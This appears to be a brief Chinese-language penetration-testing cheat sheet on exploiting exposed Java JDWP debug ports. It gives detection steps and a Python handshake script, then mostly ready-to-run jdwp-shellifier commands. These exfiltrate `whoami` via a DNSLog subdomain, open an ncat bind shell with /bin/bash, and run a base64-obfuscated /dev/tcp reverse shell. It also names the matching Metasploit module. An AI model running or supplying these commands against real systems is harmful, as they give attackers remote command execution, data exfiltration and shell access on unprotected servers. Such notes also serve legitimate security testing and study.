JPDA

Pasted%20image%2020240117234648

Pasted%20image%2020240117234727

JDWP

java调试线协议,Debugger和被调试的JVM之间的通信协议

探测

  1. Nmap nmap -sT -sV 192.168.192.1 -p 8000
  2. Telnet ip port 需要马上输入JDWP-Handshake,然后服务端返回一样的内容,证明是JDWP服务
  3. 脚本
import socket

client = socket.socket()
client.connect(("127.0.0.1", 8000))
client.send(b"JDWP-Handshake")

if client.recv(1024) == b"JDWP-Handshake":
print("[*]JDWP Service!")

client.close()

工具

需要Python2运行

jdwp-shellifier

//DNSLog外带
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "ping -nc 1 `whoami`.xxx.dnslog.cn"
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --cmd "calc"

//反弹shell
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "ncat -lvvp 1234 -e /bin/bash"
# 下面这种不能直接运行/bin/bash -i >& /dev/tcp/127.0.0.1/12345 0>&1来反弹
# 跟Java的exec()反弹一个原理,可用Base64绕过
python jdwp-shellifier.py -t 127.0.0.1 -p 8000 --break-on "java.lang.String.indexOf" --cmd "bash -c {echo,L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEyNy4wLjAuMS8xMjM0NSAwPiYx}|{base64,-d}|{bash,-i}"

msf

在msf中可以使用exploit/multi/misc/java_jdwp_debugger模块进行攻击利用

感觉emmmm,有点太老了吧